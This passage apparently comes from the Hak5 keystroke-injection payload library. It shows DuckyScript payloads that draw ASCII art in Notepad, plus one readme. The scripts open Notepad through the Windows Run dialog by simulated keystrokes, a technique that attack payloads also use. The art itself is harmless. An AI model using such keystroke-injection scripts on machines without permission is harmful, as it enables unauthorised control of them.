$MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 30\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 13\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 32\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 14\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 38\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 15\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 22\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 16\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 26\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 17\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 30\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 18\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 19\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 20\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 21\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 19\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 19\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 22\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 58\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 23\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 24\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 25\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 26\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 17\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 27\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 28\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 29\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 30\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 26\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 31\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 54\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 32\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 33\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 26\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 34\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 26\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 35\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 28\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 36\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 30\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 37\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 30\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 15\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 38\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 32\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 39\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 28\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 40\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 20\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 13\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 41\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 14\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 42\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 38\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 11\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 43\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 40\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 44\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 44\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 45\n\t$CHAR = $MID\n\t$MULTIPLE = 80\n\tSEND_MULTI()\nEND_STAGE"
  },
  {
    "path": "payloads/library/general/Ascii/Win_HID_ALT-Code-Art/readme.md",
    "content": "# :art: Using Alt codes to draw an image\r\n* Author: Cribbit \r\n* Version: 1\r\n* Target: Windows\r\n* Category: General/Ascii\r\n* Attackmode: HID\r\n* Props: Korben\r\n\r\n## :book: Description\r\nThis is a PoC of using Alt Codes to draw an image in notepad of the Hak5 cow. \r\nWarning this is very slow as this is all done through code. \r\nIt is using a custom version of the TRANSLATE extension, using Numpad/Keypad keys. \r\nPlease read the notes, to modify your language file to get this to work.\r\n\r\n## :musical_note: Notes\r\nYou will need the define KPAD_0 to KPAD_9 in your language file:\r\n```json\r\n    \"KPAD_SLASH\":\"00,00,54\",\r\n    \"KPAD_ASTERISK\":\"00,00,55\",\r\n    \"KPAD_MINUS\":\"00,00,56\",\r\n    \"KPAD_PLUS\":\"00,00,57\",\r\n    \"KPAD_ENTER\":\"00,00,58\",\r\n    \"KPAD_1\":\"00,00,59\",\r\n    \"KPAD_2\":\"00,00,5a\",\r\n    \"KPAD_3\":\"00,00,5b\",\r\n    \"KPAD_4\":\"00,00,5c\",\r\n    \"KPAD_5\":\"00,00,5d\",\r\n    \"KPAD_6\":\"00,00,5e\",\r\n    \"KPAD_7\":\"00,00,5f\",\r\n    \"KPAD_8\":\"00,00,60\",\r\n    \"KPAD_9\":\"00,00,61\",\r\n    \"KPAD_0\":\"00,00,62\",\r\n    \"KPAD_DOT\":\"00,00,63\",\r\n```\r\n\r\nIt takes just over an hour to run 45 lines with 80 characters on each.\r\nas it is holding ALT taking the number 177 getting each number using maths. Taking that number and press the corresponding key \r\nthen taking that number away (177 - 100 = 77).\r\n\r\nThis version will not work with ZERO leading alt codes.\r\n\r\n## :page_facing_up: Change Log\r\n| Version | Changes                       |\r\n| ------- | ------------------------------|\r\n| 1.0     | Initial release               |"
  },
  {
    "path": "payloads/library/general/Ascii/Win_HID_MonaLisa/MonaLisa.txt",
    "content": "DELAY 2500\r\nGUI r\r\nDELAY 200\r\nSTRING notepad\r\nENTER\r\nDELAY 300\r\nALT SPACE\r\nDELAY 20\r\nSTRING x\r\nENTER\r\nENTER\r\nENTER\r\nSTRING       XiiisiisrrsssiisssssiiiiiSiiiiiiiiiiiiSSSiiiiiiiissiiiiiiS55SSSSSSS5SSSiiiiisiiiiiiSSS\r\nENTER\r\nSTRING       2rrr;rrr;;rsrr;;;;;rrrrsrsrrrrrr;rrrrrrrrrr;;;;rrrrrrrrrrrrrrssrrr;rrrrrsrrrr;rrr;r;;r\r\nENTER\r\nSTRING       2sssrsisssssssrrriiiisi5iiSSSissssssiSiiiiisiiissssssrrsrrsiiiisssrsissiiisrsssssssiii\r\nENTER\r\nSTRING       5rrrrrrrrrrsrrssssrrsiiiiisisssssrrssssrsisrsssssssrrrrrr;rrrrrrsrrrrsrsrr;;rrrrrrrsii\r\nENTER\r\nSTRING       2;;rr;;;r;;;;;;;;rrrrrrssrrsrrsr;rrsrrr;;;;;;;rsrrssrrrr;;;;rrrrr;r;rrrr;;;;;rrrrrrsrs\r\nENTER\r\nSTRING       5rrrrrrrrr;;:;;;;;;;r;;rrrrrrrr;rrrrr;;;;;;::,::;;rrrrr;:;;;rrrr;;rrr;rrr;rrrrrrrrrrss\r\nENTER\r\nSTRING       i;rr;rr;;;;;;;;;;;;:;;;;;;rr;;;rr;;;;;::,:;:::,,,:;;;;;;;;;;rrrrrrrrr;;rr;;rr;;rrrrrrr\r\nENTER\r\nSTRING       s;r;::::;;:;;r;;;;;;;;;:;r;rrrr;;::,,;SGH#@@##HG2i;::;;;;;;;rrrrr;rrrr;rr;;r;:;;rrrrrr\r\nENTER\r\nSTRING       i;;;;::;r;;;:;;;;;;;:::;;;;;;r;;:,;5#@@#@@@@@@@@@@@Mi:,;:;;rrr;rr;;;;;;r;;;;;:;;;rrrrr\r\nENTER\r\nSTRING       i;;r;r;;;;:::;;:;::::;;;;;::;;:::s@@@@Ah@@@@@@@@@@@@@@r.:::;;;r;;;:;:::;;;;;;;;;;;;rrr\r\nENTER\r\nSTRING       S;;::::::,:::::::::::::;;::::::.2@@#h2rih&H@@@@@@@@@@@@3..,::;;;;;;:;:;:::;::;;;r;;rr;\r\nENTER\r\nSTRING       Sr;:.,,:,,:::;::::,,::;;;:::,,.i@Hr.     .,;2HB#@@@@@@@@A.,:,:::;;::::::,:;:;;;;;;rrr;\r\nENTER\r\nSTRING       i;;;:::,:,,,,:::::,:::::::,,,,S@&.          :sXA##@@@@@@@A .,,::,,::::::::::::;;;;;rr;\r\nENTER\r\nSTRING       r,:,,;:,,....,,,,,,,,:.,::,..r@@;           ,r2GH#@#@@@@@@s ,:::,,:,,,:::,,,,::::;;;;;\r\nENTER\r\nSTRING       r,:..,:;....  . .,,::,,:;:..rh@#;, ..,....,;;ri2hA##@#@@@@@:r;;:r;;:;:::::::,,:,:;;;::\r\nENTER\r\nSTRING       2rr;;;S5:,...,:. ..,:,,:,,.;A@@X:,....... .,::::;iA###@@@@@92Si52r:r;;;::,,:::::::;r;:\r\nENTER\r\nSTRING       9iXAGs5X2r;;rsis:,.  .... .S#@@S..,, .  ,;;:,,::r2B@@@@@@@@AXH332iiir5s,,,,:::,,;;iSsr\r\nENTER\r\nSTRING       BAABA2S2552925hXh95s.... .;&A#@Hi2GAi,,s@@Bh&HM#BAM@@@@@#@@MABhXS5X5s9is::,::. ,;;ss5S\r\nENTER\r\nSTRING       #MG3hS22S2h&XhAAA2iH; .:.:rBBH@#@A@@@;,@@9;#@@@#SS&###@@@@@@hAHBGX92A#35;.,,:,:;;rriSr\r\nENTER\r\nSTRING       #GX5iiXSi3X2i&Hhh5X&;:2M&;;H##@;,,rXr..AX,.;sr, .rG@@#@@@#@@GHHA&3A&AAG9;.,,::;rrrsX5r\r\nENTER\r\nSTRING       Mh332X252999GAG9HHA##A#G@HXh#@@:    . .sr      ,r2M@@@@@@@@@HA&A9X&&HBBB3;:;:;r;:;riii\r\nENTER\r\nSTRING       AA#AGHAGhHG2GAh&B#M###MA@#HABM@3   ., .is,.  .:S3A@@@@@#@@@@A25SsiSiS55XX5rrrrrrrissi5\r\nENTER\r\nSTRING       BM@#&ABM&Ah25X3GAHAAHMB#@@@#HM@#:..;r :29;.,:rShAM@@##@@@@@@#MMHGXX222SiisiiSXGh#MX2A&\r\nENTER\r\nSTRING       #M##B9&H&GAAAGX2&9&GAHAM#@@###@@3r;.:X@@@;.;s29&AM##@@@@@@@@@@@@@@######MHB#B#HA#@@@@M\r\nENTER\r\nSTRING       #####hG&&AH&HBhhAAAA&HHB#B#@@M@@AsSs,rHBhhG5siX3GB#@@@@@@#@@#MMMBBBB#####@@#H&GAA####B\r\nENTER\r\nSTRING       #B#MA9hAAH&hhAABHHHBBHMMBHB#MA@@@r;;;;s9BAS;rs2hA##@@##@@@@@#BHAAHHHBMMBHH&X2XhAB####M\r\nENTER\r\nSTRING       #M#BGHAHAAAHHBMBHBHHAAA&GGHHM#@@@@3: .;riiisS3AAHM#@##@@@@@@#AGHBHHHAHBHHHAHM##HH&&B#M\r\nENTER\r\nSTRING       ##M###BH&&H#MBHHHAG&hGhGG9&A##M#@@@@;   :s2hH#MBM#@###@@@@@@#BhAH&939AHHAAAHHH&hAAAM@M\r\nENTER\r\nSTRING       ##MMMM@#&&AHHM#MMMAMHA&9X2A#BB#M#@@@@AS3AB@@###@@#@@#####@@@##HAAHGAABA&A&&&HBAABAAM#M\r\nENTER\r\nSTRING       ###HB#M#B&&A&HHA&AXGX22isi9###@#@@@@@@@@@@@@@@@#MMMM####@@@@@@#B##BHHBMMMMM####MHAAAAM\r\nENTER\r\nSTRING       ####@@H#@A&Ahh3222S5issi552H@@####@@@@@iS&M@#MA&hX3A#@#@@@#M@@HHHHA&GAHMMBM@#MMMBM@@BB\r\nENTER\r\nSTRING       